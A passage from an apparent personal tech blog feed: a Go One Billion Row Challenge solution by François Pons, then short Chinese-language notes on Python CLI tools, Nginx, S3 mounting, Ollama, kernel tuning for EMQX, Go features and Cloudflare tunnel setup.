 getMeasurement := func(hash uint64, value []byte) *measurement {
 i := hash & uint64(entriesSize-1)
 entry := &entries[i]

 // bytes.Equal could be commented to speedup assuming no hash collisions
 for entry.vlen > 0 && !(entry.hash == hash && bytes.Equal(entry.value[:entry.vlen], value)) {
 i = (i + 1) & uint64(entriesSize-1)
 entry = &entries[i]
 }

 if entry.vlen == 0 {
 entry.hash = hash
 entry.vlen = copy(entry.value[:], value)
 entriesCount++
 }
 return &entry.m
 }

 // assume valid input
 for len(data) > 0 {

 idHash := uint64(fnv1aOffset64)
 semiPos := 0
 for i, b := range data {
 if b == ';' {
 semiPos = i
 break
 }

 // calculate FNV-1a hash
 idHash ^= uint64(b)
 idHash *= fnv1aPrime64
 }

 idData := data[:semiPos]

 data = data[semiPos+1:]

 var temp int64
 // parseNumber
 {
 negative := data[0] == '-'
 if negative {
 data = data[1:]
 }

 _ = data[3]
 if data[1] == '.' {
 // 1.2\n
 temp = int64(data[0])*10 + int64(data[2]) - '0'*(10+1)
 data = data[4:]
 // 12.3\n
 } else {
 _ = data[4]
 temp = int64(data[0])*100 + int64(data[1])*10 + int64(data[3]) - '0'*(100+10+1)
 data = data[5:]
 }

 if negative {
 temp = -temp
 }
 }

 m := getMeasurement(idHash, idData)
 if m.count == 0 {
 m.min = temp
 m.max = temp
 m.sum = temp
 m.count = 1
 } else {
 m.min = min(m.min, temp)
 m.max = max(m.max, temp)
 m.sum += temp
 m.count++
 }
 }

 result := make(map[string]*measurement, entriesCount)
 for i := range entries {
 entry := &entries[i]
 if entry.m.count > 0 {
 result[string(entry.value[:entry.vlen])] = &entry.m
 }
 }
 return result
}

func round(x float64) float64 {
 return roundJava(x*10.0) / 10.0
}

// roundJava returns the closest integer to the argument, with ties
// rounding to positive infinity, see java's Math.round
func roundJava(x float64) float64 {
 t := math.Trunc(x)
 if x < 0.0 && t-x == 0.5 {
 //return t
 } else if math.Abs(x-t) >= 0.5 {
 t += math.Copysign(1, x)
 }

 if t == 0 { // check -0
 return 0.0
 }
 return t
}

// parseNumber reads decimal number that matches "^-?[0-9]{1,2}[.][0-9]" pattern,
// e.g.: -12.3, -3.4, 5.6, 78.9 and return the value*10, i.e. -123, -34, 56, 789.
func parseNumber(data []byte) int64 {
 negative := data[0] == '-'
 if negative {
 data = data[1:]
 }

 var result int64
 switch len(data) {
 // 1.2
 case 3:
 result = int64(data[0])*10 + int64(data[2]) - '0'*(10+1)
 // 12.3
 case 4:
 result = int64(data[0])*100 + int64(data[1])*10 + int64(data[3]) - '0'*(100+10+1)
 }

 if negative {
 return -result
 }
 return result
}

https://github.com/aytechnet/1brc

François Pons

package main

import (
 "bytes"
 "flag"
 "fmt"
 "log"
 "os"
 "runtime"
 "runtime/pprof"
 "slices"
 "sync"
 "syscall"
 "sync/atomic"

 "github.com/aytechnet/decimal"
)

type (
 measurement struct {
 hash atomic.Uint64
 minT atomic.Int64
 maxT atomic.Int64
 sumT atomic.Int64
 countT atomic.Int64
 nameLen int
 nameBuf [208]byte
 }

 measurements struct {
 total atomic.Int64
 numParsers int
 results [capacity]measurement
 }

 job struct {
 maxOffset atomic.Int64
 bufLen int
 buf [bufSize]byte
 }
)

const (
 delta = 439
 capacity = 1 << 16 // must be a power of 2 for modulo calculation

 // buffer size
 bufSize = 512 * 1024 // 1Mb

 // use FNV-1a hash
 fnv1aOffset64 = 14695981039346656037
 fnv1aPrime64 = 1099511628211
)

func main() {
 var mode, filename, cpuprofile string
 var res measurements

 flag.StringVar(&mode, "mode", "default", "Which mode to use among 'mmap', 'seq' and 'default'")
 flag.StringVar(&filename, "file", "", "Measurements file to use")
 flag.StringVar(&cpuprofile, "cpuprofile", "", "Write cpuprofile to file")
 flag.IntVar(&res.numParsers, "parsers", runtime.NumCPU(), "Number of thread to use for parsing")

 flag.Parse()

 if filename == "" {
 flag.Usage()
 os.Exit(1)
 }

 if cpuprofile != "" {
 if f, err := os.Create(cpuprofile); err != nil {
 log.Fatal(err)
 } else {
 pprof.StartCPUProfile(f)
 defer pprof.StopCPUProfile()
 }
 }

 f, err := os.Open(filename)
 if err != nil {
 log.Fatalf("Open: %v", err)
 }
 defer f.Close()

 switch mode {
 case "mmap":
 res.processMmap(f)
 case "seq":
 res.processSeq(f)
 default:
 res.process(f)
 }
}

func (res *measurements) processMmap(f *os.File) {
 jobs := make([]job, res.numParsers)

 fi, err := f.Stat()
 if err != nil {
 log.Fatalf("Stat: %v", err)
 }

 size := fi.Size()
 chunkSize := size/int64(len(jobs))
 if chunkSize <= 100 {
 log.Fatalf("Invalid file size: %d", size)
 }

 data, err := syscall.Mmap(int(f.Fd()), 0, int(size), syscall.PROT_READ, syscall.MAP_SHARED)
 if err != nil {
 log.Fatalf("Mmap: %v", err)
 }

 defer func() {
 if err := syscall.Munmap(data); err != nil {
 log.Fatalf("Munmap: %v", err)
 }
 }()

 offset := chunkSize
 for i := range jobs {
 j := &jobs[i]

 if i == len(jobs)-1 {
 j.maxOffset.Store(size)
 } else {
 j.maxOffset.Store(-offset)
 }
 offset += chunkSize
 }

 var wg sync.WaitGroup

 wg.Add(len(jobs))

 offset = 0
 for i := range jobs {
 go func(i int, offset int64){
 defer wg.Done()

 j := &jobs[i]

 maxOffset := j.maxOffset.Load()
 if maxOffset < 0 {
 maxOffset = -maxOffset

 if nlPos := bytes.IndexByte(data[maxOffset:], '\n'); nlPos >= 0 {
 maxOffset += int64(nlPos+1)
 }
 }

 if offset > 0 {
 if nlPos := bytes.IndexByte(data[offset:maxOffset], '\n'); nlPos >= 0 {
 offset += int64(nlPos+1)
 }
 }

 res.processChunk(data[offset:maxOffset])
 }(i, offset)

 offset += chunkSize
 }

 wg.Wait()

 res.printResults()
}

func (res *measurements) processSeq(f *os.File) {
 jobs := make([]job, res.numParsers)
 free_jobs := make(chan *job, len(jobs))
 ready_jobs := make(chan *job, len(jobs))

 var wg sync.WaitGroup

 wg.Add(len(jobs))

 for i := range jobs {
 j := &jobs[i]

 free_jobs <- j
 go func(){
 for j := range ready_jobs {
 res.processChunk(j.buf[:j.bufLen])
 free_jobs <- j
 }
 wg.Done()
 }()
 }

 var prev_j *job

 pos := 0
 nlPos := 0
 for j := range free_jobs {
 if count, _ := f.Read(j.buf[pos:]); count > 0 {
 // finalize previous line from previous job
 if pos > 0 /* && prev_j != nil */ {
 copy(j.buf[:pos], prev_j.buf[bufSize-pos:])
 }

 // prepare next buffer
 if nlPos = bytes.LastIndexByte(j.buf[:pos+count], '\n'); nlPos < 0 {
 log.Fatalf("buffer too small for a complete line");
 } else {
 pos = pos + count - nlPos - 1
 prev_j = j
 j.bufLen = nlPos + 1
 }

 // spawn a new job on this buffer
 ready_jobs <- j
 } else {
 break
 }
 }

 close(ready_jobs)

 wg.Wait()

 close(free_jobs)

 res.printResults()
}

func (res *measurements) process(f *os.File) {
 jobs := make([]job, res.numParsers)

 fi, err := f.Stat()
 if err != nil {
 log.Fatalf("Stat: %v", err)
 }

 size := fi.Size()
 chunkSize := size/int64(len(jobs))
 if chunkSize <= 100 {
 log.Fatalf("Invalid file size: %d", size)
 }

 offset := chunkSize
 for i := range jobs {
 j := &jobs[i]

 if i == len(jobs)-1 {
 j.maxOffset.Store(size)
 } else {
 j.maxOffset.Store(-offset)
 }
 offset += chunkSize
 }

 var wg sync.WaitGroup

 wg.Add(len(jobs))

 offset = 0
 for i := range jobs {
 go func(i int, offset int64){
 defer wg.Done()

 j := &jobs[i]

 nlSkipFirst := offset > 0

 for {
 maxLen := bufSize
 maxOffset := j.maxOffset.Load()
 if maxOffset < 0 {
 maxOffset = -maxOffset
 }
 if offset + int64(maxLen) > maxOffset {
 maxLen = int(maxOffset - offset)
 }

 if count, _ := f.ReadAt(j.buf[:maxLen], offset); count > 0 {
 pos := 0
 if nlSkipFirst {
 if nlPos := bytes.IndexByte(j.buf[:maxLen], '\n'); nlPos >= 0 {
 pos = nlPos + 1
 jobs[i-1].maxOffset.Store(offset + int64(pos))
 nlSkipFirst = false
 } else {
 log.Fatalf("Unable to seek to next line at job n°%d", i)
 }
 }

 if nlPos := bytes.LastIndexByte(j.buf[pos:maxLen], '\n'); nlPos >= 0 {
 j.bufLen = pos + nlPos + 1
 offset += int64(j.bufLen)

 res.processChunk(j.buf[pos:j.bufLen])
 } else {
 log.Fatalf("Buffer too small at job n°%d", i)
 }
 } else {
 return
 }

 maxOffset = j.maxOffset.Load()
 for maxOffset < 0 {
 maxOffset = j.maxOffset.Load()
 }
 if offset >= maxOffset {
 return
 }
 }
 }(i, offset)

 offset += chunkSize
 }

 wg.Wait()

 res.printResults()
}

func (res *measurements) printResults() {
 log.Printf("Read %d entries", res.total.Load())

 ids := make([]int, 0, capacity)

 for i := range res.results {
 m := &res.results[i]

 if m.nameLen > 0 {
 ids = append(ids, i)
 }
 }

 slices.SortFunc(ids, func(a,b int) int {
 return bytes.Compare(res.results[a].nameBuf[0:res.results[a].nameLen], res.results[b].nameBuf[0:res.results[b].nameLen])
 })

 count := 0
 fmt.Print("{")
 for _, i := range ids {
 m := &res.results[i]

 var buf [128]byte // name is 100 chars max, each 3 decimals is 5 bytes max on output
 b := buf[0:0]

 if count > 0 {
 b = append(b, ',', ' ')
 }

 b = append(b, m.nameBuf[0:m.nameLen]...)
 b = append(b, '=')
 b = decimal.New(m.minT.Load(), -1).BytesToFixed(b, 1)
 b = append(b, '/')
 b = decimal.New(m.sumT.Load(), -1).Div(decimal.NewFromInt(m.countT.Load()-1)).BytesToFixed(b, 1)
 b = append(b, '/')
 b = decimal.New(m.maxT.Load(), -1).BytesToFixed(b, 1)
 count++

 fmt.Print(string(b))
 // fmt.Printf("%s=%s/%s/%s", m.nameBuf[0:m.nameLen], decimal.New(m.minT.Load(), -1).StringFixed(1), decimal.New(m.sumT.Load(), -1).Div(decimal.NewFromInt(m.countT.Load()-1)).StringFixed(1), decimal.New(m.maxT.Load(), -1).StringFixed(1))
 count++
 }
 fmt.Println("}")
}

func (res *measurements) processChunk(data []byte) {
 var total int64

 // assume valid input
 for len(data) > 0 {
 i := 0

 // compute FNV-1a hash
 idHash := uint64(fnv1aOffset64)
 for j, b := range data {
 if b == ';' {
 i = j
 break
 }

 // calculate FNV-1a hash
 idHash ^= uint64(b)
 idHash *= fnv1aPrime64
 }
 if idHash == 0 {
 idHash = uint64(len(data))
 }

 idData := data[:i]

 i++ // now i points to temperature

 var temp int64
 // parseNumber
 {
 negative := data[i] == '-'
 if negative {
 i++
 }

 temp = int64(data[i]-'0')
 i++

 if data[i] != '.' {
 temp = temp*10 + int64(data[i]-'0')
 i++
 }
 i++ // data[i] is '.'
 temp = temp*10 + int64(data[i]-'0')
 if negative {
 temp = -temp
 }

 data = data[i+2:]
 }

 // get measurement
 {
 i := idHash & uint64(capacity-1)
 entry := &res.results[i]

 for {
 if entry.hash.CompareAndSwap(0, idHash) {
 // make sure no race occurs as entry may be updated meanwhile as hash has been updated
 if entry.countT.Add(1) == 1 {
 entry.nameLen = len(idData)
 copy(entry.nameBuf[:], idData)
 entry.minT.Store(temp)
 entry.maxT.Store(temp)
 entry.sumT.Store(temp)
 entry.countT.Add(1) // unlock for update below
 } else {
 // wait for countT to be at least 2 for entry init to be complete
 for entry.countT.Load() < 2 {}

 // update existing entry
 minT := entry.minT.Load()
 for minT > temp {
 if entry.minT.CompareAndSwap(minT, temp) {
 break
 } else {
 minT = entry.minT.Load()
 }
 }
 maxT := entry.maxT.Load()
 for maxT < temp {
 if entry.maxT.CompareAndSwap(maxT, temp) {
 break
 } else {
 maxT = entry.maxT.Load()
 }
 }
 entry.sumT.Add(temp)
 entry.countT.Add(1)
 }
 break
 } else if entry.hash.Load() == idHash {
 // the entry is found and may be being updated by another thread
 // wait for countT to be at least 2 for entry init to be complete
 for entry.countT.Load() < 2 {}

 // now that name has been updated, check it is matching
 if len(idData) == entry.nameLen /* bytes.Compare(idData, entry.nameBuf[0:entry.nameLen]) == 0 */ {
 // update existing entry
 minT := entry.minT.Load()
 for minT > temp {
 if entry.minT.CompareAndSwap(minT, temp) {
 break
 } else {
 minT = entry.minT.Load()
 }
 }
 maxT := entry.maxT.Load()
 for maxT < temp {
 if entry.maxT.CompareAndSwap(maxT, temp) {
 break
 } else {
 maxT = entry.maxT.Load()
 }
 }
 entry.sumT.Add(temp)
 entry.countT.Add(1)

 break
 } else {
 // name does not match idData so jump to next entry
 i = (i + delta) & uint64(capacity-1)
 entry = &res.results[i]
 }
 } else {
 i = (i + delta) & uint64(capacity-1)
 entry = &res.results[i]
 }
 }
 }

 total++
 }

 res.total.Add(total)
}

func (entry *measurement) update(temp int64) {
 minT := entry.minT.Load()
 for minT > temp {
 if entry.minT.CompareAndSwap(minT, temp) {
 break
 } else {
 minT = entry.minT.Load()
 }
 }
 maxT := entry.maxT.Load()
 for maxT < temp {
 if entry.maxT.CompareAndSwap(maxT, temp) {
 break
 } else {
 maxT = entry.maxT.Load()
 }
 }
 entry.sumT.Add(temp)
 entry.countT.Add(1)
}

Python 的多種命令列工具

Sat, 06 Jul 2024 20:39:01 +0800

Python 的多種命令列工具

這些是 Python 最實用的通用命令列工具。

Command	Purpose	More
`python -m http.server`	啟動簡易網頁伺服器	Video
`python -m webbrowser`	開啟預設瀏覽器	Docs
`python -m json.tool`	以更易讀的格式輸出 JSON 資料	Docs
`python -m calendar`	顯示命令列月曆	Docs

`http.server`

將 http.server 模組以腳本執行後，會在 8000 埠啟動一個 web server，並提供目前目錄中的檔案。我常常用它來預覽 Sphinx 文件網站（尤其是使用 dirhtml 選項時，會以 index.html 的子目錄結構呈現）。

$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

`webbrowser`

將 webbrowser 模組以腳本執行時，會用預設瀏覽器開啟指定 URL。例如，這會開啟 https://pseudorandom.name：

$ python -m webbrowser pseudorandom.name

`json.tool`

json.tool 模組可以當作腳本執行，會解析 JSON 文件並輸出更適合人閱讀的格式。

Go LeetCode

Thu, 20 Jun 2024 18:15:00 +0800

https://books.halfrost.com/leetcode/

Nginx if 避坑指南

Sat, 15 Jun 2024 19:55:10 +0800

if 指令由 rewrite 模块提供，显然它主要是用于 URL 重写领域。典型的 if 用法如下：

http {
 server {
 listen 8080;

 if ($http_user_agent ~ MSIE) {
 rewrite ^(.*)$ /msie/$1 break;
 }

 if ($request_method = POST) {
 return 405;
 }
 }
}

上例中第一个 if 检查如果 user agent 字符串中包含 MSIE，就把 URL 重写为 /msie 开头的路径，这样就可以给微软的 IE 浏览器提供特供版本内容。

第二个 if 检查当前请求的 HTTP 方法，如果是 POST 请求则直接返回 405 状态码。

以上就是 if 最典型的用法，也是 Nginx 最初设想的用法～但很快就被用户玩坏了 😂

天下苦静态配置久矣，Nginx 终于支持动态配置了 👏 这个 if 不就是 c 语言里的条件判断吗？大家玩起来 🎢

在 Amazon EC2 上掛載 AWS S3 Bucket

Sun, 09 Jun 2024 15:37:30 +0800

在 Amazon EC2 上掛載 AWS S3 Bucket

使用情境

資料備份與封存：有效率地從 S3 儲存與取回資料，用於可靠備份與長期封存。
大數據與分析：直接存取 S3 中的大型資料集，進行順暢的資料處理與分析。
網站代管與內容分發：使用 S3 提供靜態內容，以高效率地託管網站與媒體檔案。
日誌收集與分析：集中將日誌存放在 S3，方便分析與監控。
檔案分享與協作：多台 EC2 透過 S3 作為共享資料庫來分享與協作。

先決條件

一台執行 Linux 的 Amazon EC2 執行個體（Amazon Linux、Ubuntu、CentOS 等）。
已附加具備存取 S3 Bucket 權限的 IAM 角色。

sudo apt-get update -y
sudo apt-get install awscli -y
sudo apt-get install s3fs -y

# 建立 S3 bucket 的掛載點目錄
sudo mkdir /mnt/s3-bucket

# 同步本機目錄與 S3 bucket 以檢查存取
cd /mnt/s3-bucket ;touch test1.txt test2.txt
aws s3 sync /mnt/s3-bucket s3://<your-s3-bucket-name>

# 將 S3 bucket 掛載成檔案系統
sudo s3fs <your-s3-bucket-name> /mnt/s3-bucket -o iam_role=<iam-role-name> -o use_cache=/tmp -o allow_other -o uid=1001 -o mp_umask=002 -o multireq_max=5 -o use_path_request_style -o url=https://s3-{{aws_region}}.amazonaws.com

除錯問題

需要除錯時，可加上：

WebP Cloud 使用 Cloudflare Workers 回源以保護回源伺服器並開始提供回源時間資訊

Sun, 09 Jun 2024 10:49:45 +0800

WebP Cloud 使用 Cloudflare Workers 回源以保護回源伺服器並開始提供回源時間資訊

Emoji 正则匹配

Sun, 19 May 2024 14:37:00 +0800

Emoji 正则匹配

/\p{Emoji}/u

既然是匹配 Emoji，那么 loneProperty (\p{loneProperty}) 就应该是 Emoji ? 实际测试并不符合需求，因为在 Emoji 官方文档中， 123456789*# 也是被看作是 Emoji，如果用这个正则的话，就会把数字也认为是 Emoji，不符合只排除特殊表情的要求。

/\p{Extended_Pictographic}/u

而 Extended_Pictographic 表示的 Emoji 才是我们认为的那些表情符号。

Prometheus relabeling and linux metrics

Tue, 14 May 2024 13:49:00 +0800

Adding new label

- target_label: "foo"
 replacement: "bar"

metrics

rkB/s: rate(node_disk_read_bytes_total[*]) Unit: bytes per second
wkB/s: rate(node_disk_written_bytes_total[*]) Unit: bytes per second

LLMs Hackmd Docs

Fri, 10 May 2024 10:08:00 +0800

LM STUDIO
chromadb/chroma
ollama/ollama
mintplexlabs/anythingllm

更強大的 Go 執行追蹤能力

Tue, 07 May 2024 11:45:57 +0800

更強大的 Go 執行追蹤能力

runtime/trace

golang.org/x/exp/trace

飛行記錄（flight recording）

// 設定飛行記錄器
fr := trace.NewFlightRecorder()
fr.Start()
// 設定並啟動 HTTP 伺服器
var once sync.Once
http.HandleFunc("/my-endpoint", func(w http.ResponseWriter, r *http.Request) {
 start := time.Now()
 // 做些事情
 doWork(w, r)
 // 碰到長耗時請求就來個快照
 if time.Since(start) > 300*time.Millisecond {
 // 這裡為了簡化只做一次，實際上你可以做多次
 once.Do(func() {
 // 擷取快照
 var b bytes.Buffer
 _, err = fr.WriteTo(&b)
 if err != nil {
 log.Print(err)
 return
 }
 // 把快照寫入檔案
 if err := os.WriteFile("trace.out", b.Bytes(), 0o755); err != nil {
 log.Print(err)
 return
 }
 })
 }
})
log.Fatal(http.ListenAndServe(":8080", nil))

追蹤讀取器 API

// 開始從標準輸入讀取追蹤資料。
r, err := trace.NewReader(os.Stdin)
if err != nil {
 log.Fatal(err)
}
var blocked int
var blockedOnNetwork int
for {
 // 讀取事件
 ev, err := r.ReadEvent()
 if err == io.EOF {
 break
 } else if err != nil {
 log.Fatal(err)
 }
 // 處理它
 if ev.Kind() == trace.EventStateTransition {
 st := ev.StateTransition()
 if st.Resource.Kind == trace.ResourceGoroutine {
 id := st.Resource.Goroutine()
 from, to := st.GoroutineTransition()
 // 查找阻塞的 goroutine 並統計
 if from.Executing() && to == trace.GoWaiting {
 blocked++
 if strings.Contains(st.Reason, "network") {
 blockedOnNetwork++
 }
 }
 }
 }
}

// 印出所需數值
p := 100 * float64(blockedOnNetwork) / float64(blocked)
fmt.Printf("%2.3f%% instances of goroutines blocking were to block on the network\n", p)

Taide - 訓練資料

Sat, 27 Apr 2024 17:10:00 +0800

Taide - 訓練資料

Run llama3

Thu, 25 Apr 2024 10:14:00 +0800

Docker-compose

version: "3.8"

services:
 ollama:
 image: ollama/ollama:latest
 container_name: ollama
 restart: unless-stopped
 volumes:
 - ./ollama/ollama:/root/.ollama
 tty: true
 ports:
 - 11434:11434
 networks:
 - ollama-docker
 # deploy:
 # resources:
 # reservations:
 # devices:
 # - driver: nvidia
 # count: 1
 # capabilities: [gpu]
 ollama-webui:
 image: ghcr.io/ollama-webui/ollama-webui:main
 container_name: ollama-webui
 restart: unless-stopped
 volumes:
 - ./ollama/ollama-webui:/app/backend/data
 ports:
 - 8080:8080
 environment:
 - "/ollama/api=http://ollama:11434/api"
 extra_hosts:
 - host.docker.internal:host-gateway
 networks:
 - ollama-docker

networks:
 ollama-docker:

Setup

# Run docker-compose
docker-compose up -d

# Pull model(https://ollama.com/library)
docker exec -it ollama /bin/bash
ollama pull llama3

Chat with Web-UI

port defined in docker-compose.yml ollama-webui.ports

一文讀不懂的 Go 1.21 GA 的 PGO 優化——一次在 WebP Server Go 上的嘗試

Thu, 25 Apr 2024 09:22:00 +0800

一文讀不懂的 Go 1.21 GA 的 PGO 優化——一次在 WebP Server Go 上的嘗試

Go Style Decisions - Pass values

Sat, 13 Apr 2024 17:38:00 +0800

Go Style Decisions - Pass values

不要僅僅為了節省一些位元組而將指標作為函數參數傳遞。如果函數始終將其參數 x 讀取為 *x，則該參數不應該是指標。常見的實例包括傳遞指向字串的指標 (*string) 或指向介面值的指標 (*io.Reader)。在這兩種情況下，值本身都是固定大小的，可以直接傳遞。

此建議不適用於大型結構，甚至不適用於可能增加大小的小型結構。特別是，協定緩衝區訊息通常應透過指標而不是值來處理。指標類型滿足 proto.Message 介面（被 proto.Marshal 、 protocmp.Transform 等接受），且協定緩衝區訊息可能非常大，並且通常會隨著時間的推移而變得更大。

Go Generics 入門筆記

Wed, 07 Feb 2024 19:52:22 +0800

Go Generics 入門筆記

自訂約束

// Addable 只允許 int 或 float64 類型
type Addable interface {
 int | float64
}

func Add[T Addable](a, b T) T {
 return a + b
}

~ 符號的作用 ~ 符號用於表示與指定類型有相同底層類型的所有類型。當你在類型參數的約束中使用 ~ 符號時，你指定了一個類型集合，這個集合包含所有底層類型與約束中指定的類型相同的類型。

type MyInt int
type YourInt int

func PrintInt[T ~int](t T) {
 fmt.Println(t)
}

func main() {
 var a int = 5
 var b MyInt = 10
 var c YourInt = 15

 PrintInt(a)
 PrintInt(b)
 PrintInt(c)
}

在 Git 中追蹤 SQLite 資料庫變更

Wed, 07 Feb 2024 19:20:15 +0800

首先，在設定中加入名為 “sqlite3” 的 diff 類型。最簡單的方式是直接執行這些指令：

git config diff.sqlite3.binary true git config diff.sqlite3.textconv "echo .dump | sqlite3"

或者，你也可以把這段加入你的 ~/.gitconfig 或專案的 .git/config：

[diff "sqlite3"] binary = true textconv = "echo .dump | sqlite3"

接著，若尚未存在 .gitattributes，就建立它並加入這一行：

*.sqlite diff=sqlite3

注意檔名 (*.sqlite) 可能會因你的設定而不同。以我的情況為例，它應該要匹配 *.gnucash。

大致上就是這樣！下次執行 git diff 或任何會對 sqlite 檔案產生 diff 的指令時，你會看到格式化良好的變更差異。

LLM 視覺化

Sun, 21 Jan 2024 12:40:00 +0800

在 Kubernetes 上調校 EMQX 以擴展至一百萬並發連線

Sun, 21 Jan 2024 12:34:35 +0800

在 Kubernetes 上調校 EMQX 以擴展至一百萬並發連線

llamafile - 以單一檔案分發並執行 LLMs

Sun, 21 Jan 2024 09:30:54 +0800

資料庫基礎

Mon, 01 Jan 2024 18:46:17 +0800

資料庫基礎

Terraform Provider 開發紀錄

Thu, 28 Dec 2023 12:36:00 +0800

Terraform Provider 開發紀錄

讓終端機下雪的 Python 腳本

Sun, 24 Dec 2023 15:40:00 +0800

讓終端機下雪的 Python 腳本

docker run --rm -ti sontek/snowmachine tree --color rainbow --particle "*" --snow true --lights-color rainbow

Container security fundamentals

Wed, 04 Oct 2023 09:06:00 +0800

調整系統使得 EMQX 可以支援 1M 連線

Wed, 27 Sep 2023 10:36:00 +0800

Linux Kernel Tuning

node level, basically the non-namespaced sysctls

# Sets the maximum number of file handles allowed by the kernel
sysctl -w fs.file-max=2097152

# Sets the maximum number of open file descriptors that a process can have
sysctl -w fs.nr_open=2097152

namespaced sysctls

# Sets the maximum number of connections that can be queued for acceptance by the kernel.
sysctl -w net.core.somaxconn=32768

# Sets the maximum number of SYN requests that can be queued by the kernel
sysctl -w net.ipv4.tcp_max_syn_backlog=16384

# Setting the minimum, default and maximum size of TCP Buffer
sysctl -w net.ipv4.tcp_rmem='1024 4096 16777216'
sysctl -w net.ipv4.tcp_wmem='1024 4096 16777216'

# Setting Parameters for TCP Connection Tracking
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30

# Controls the maximum number of entries in the TCP time-wait bucket table
sysctl -w net.ipv4.tcp_max_tw_buckets=1048576

# Controls Timeout for FIN-WAIT-2 Sockets:
sysctl -w net.ipv4.tcp_fin_timeout=15

There are some more namespaced sysctls that will improve the performance but because of an active issue we are not able to set them on the container level

# Sets the size of the backlog queue for the network device
sysctl -w net.core.netdev_max_backlog=16384

# Amount of memory that is allocated for storing incoming and outgoing data for a socket
sysctl -w net.core.rmem_default=262144
sysctl -w net.core.wmem_default=262144

# Setting the maximum amount of memory for the socket buffers
sysctl -w net.core.rmem_max=16777216
sysctl -w net.core.wmem_max=16777216
sysctl -w net.core.optmem_max=16777216

Erlang VM Tuning

## Erlang Process Limit
node.process_limit = 2097152

## Sets the maximum number of simultaneously existing ports for this system
node.max_ports = 2097152

EMQX Broker Tuning

# Other configuration…
EMQX_LISTENER__TCP__EXTERNAL: "0.0.0.0:1883"
EMQX_LISTENER__TCP__EXTERNAL__ACCEPTORS: 64
EMQX_LISTENER__TCP__EXTERNAL__MAX_CONNECTIONS: 1024000

Install Chrome OS

Wed, 27 Sep 2023 09:36:00 +0800

老電腦別丟掉！安裝 Google 免費作業系統安裝教學（Chrome OS Flex /CloudReady）

永齡基金會AI大師論壇:人工智慧如何形塑人類未來

Wed, 27 Sep 2023 09:36:00 +0800

https://www.youtube.com/watch?v=M3z6gI1AEns

Golang tips

Tue, 26 Sep 2023 22:15:00 +0800

GO 编程模式：切片，接口，时间和性能 Go 语言是一个高性能的语言，但并不是说这样我们就不用关心性能了，我们还是需要关心的。下面是一个在编程方面和性能相关的提示。
如果需要把数字转字符串，使用 strconv.Itoa() 会比 fmt.Sprintf() 要快一倍左右
尽可能地避免把 String 转成[]Byte 。这个转换会导致性能下降。
如果在 for-loop 里对某个 slice 使用 append()请先把 slice 的容量很扩充到位，这样可以避免内存重新分享以及系统自动按 2 的 N 次方幂进行扩展但又用不到，从而浪费内存。
使用 StringBuffer 或是 StringBuild 来拼接字符串，会比使用 + 或 += 性能高三到四个数量级。
尽可能的使用并发的 go routine，然后使用 sync.WaitGroup 来同步分片操作
避免在热代码中进行内存分配，这样会导致 gc 很忙。尽可能的使用 sync.Pool 来重用对象。
使用 lock-free 的操作，避免使用 mutex，尽可能使用 sync/Atomic 包。（关于无锁编程的相关话题，可参看《无锁队列实现》或《无锁 Hashmap 实现》）
使用 I/O 缓冲，I/O 是个非常非常慢的操作，使用 bufio.NewWrite() 和 bufio.NewReader() 可以带来更高的性能。
对于在 for-loop 里的固定的正则表达式，一定要使用 regexp.Compile() 编译正则表达式。性能会得升两个数量级。
如果你需要更高性能的协议，你要考虑使用 protobuf 或 msgp 而不是 JSON，因为 JSON 的序列化和反序列化里使用了反射。

datavizproject

Tue, 26 Sep 2023 13:29:00 +0800

https://datavizproject.com

朋友旅行防止絕交檢查表

Tue, 26 Sep 2023 13:29:00 +0800

https://travel-questions.gnehs.net/

Cloudflare Zero Trust

Tue, 26 Sep 2023 09:01:00 +0800

1. 設定 Client

建立裝置註冊規則

建立裝置註冊規則，用來決定哪些裝置可以加入 Zero Trust 組織。

設定裝置註冊權限

在 Zero Trust 中，前往 Settings > WARP Client > Device enrollment > Device enrollment permissions > Manage。
Rules > Policies > Add a rule > Include > Selector > Emails ending in > Value > @ruru910.com。

2. 透過 WARP 路由私有網路 IP

在 Zero Trust 中，前往 Settings > WARP Client > Device settings > Profile settings > Profile name > Default > Configure。
設定：
1. Enabled: Captive portal detection, Mode switch, Allow device to leave organization, Allow updates。
2. Service mode: Gateway with WARP。
3. Local Domain Fallback > Manage > Domain > nas.ruru910.com。
4. Split Tunnels: Exclude IPs and domains > Manage。
  - 刪除 nas.ruru910.com 的 IP range。

3. 用 Gateway 過濾網路流量

1. 啟用 Gateway 代理

在 Zero Trust 中，前往 Settings > Network。
1. Gateway Logging: Capture all。
2. Firewall: Proxy(TCP, UDP, ICMP), WARP to WARP, AV inspection。

2. 建立 Zero Trust Policies

前往 Access > Applications > Add an application > Private Network > Application Type > Destination IP。
Value 輸入應用程式的 IP（例如 10.128.0.7）。
修改 policy > identify > Selector > User Email > in > @ruru910.com。

在 Synology 上建立 Cloudflare Tunnel

Mon, 25 Sep 2023 22:01:00 +0800

CLOUDFLARE tunnel on SYNOLOGY. (the raw way)

Setup Synology

在 docker 目錄下建立資料夾，例如 cloudflare-tunnel。
下載 cloudflared/cloudflared 映像到 registry。
SSH 到 admin@synology。
變更 cloudflare-tunnel 擁有者，sudo chown -R 65532:65532 /volume1/docker/cloudflare-tunnel。

Run containers

- `cloudflared tunnel login`

執行容器並掛載 volume docker/cloudflare-tunnel:/home/nonroot/.cloudflared。
在 network 分頁選擇 Use the same network as Docker Host。
在 environment 分頁加入指令 tunnel login。
到容器 log 複製登入 URL。
貼上 URL 到瀏覽器並授權 zone。
將容器設定 json 匯出到 cloudflare-tunnel 目錄。

- `cloudflared tunnel create synology-tunnel`

編輯 cloudflare-tunnel 目錄中的容器設定 json，修改 cmd 為 tunnel create synology-tunnel。
匯入容器設定 json 並執行新容器。
容器會停止，並在 cloudflare-tunnel 中建立 tunnel config json。
建立 config.yml 並撰寫 ingress 規則。
在 config.yml 中，tunnel 的值要與 tunnel config json 檔名一致，credentials-file 為 /home/nonroot/.cloudflared/tunnel config json。
將第二個容器設定 json 匯出到 cloudflare-tunnel 目錄。

- `cloudflared tunnel route dns synology-tunnel synology.ruru910.com`

編輯 cloudflare-tunnel 目錄中的第二個容器設定 json，修改 cmd 為 tunnel route dns synology-tunnel synology.ruru910.com。
匯入第二個容器設定 json 並執行新容器。
容器會停止並建立 DNS 紀錄，將網域指到 tunnel。

- `cloudflared tunnel run synology-tunnel`

編輯 cloudflare-tunnel 目錄中的第二個容器設定 json，修改 cmd 為 tunnel run synology-tunnel。
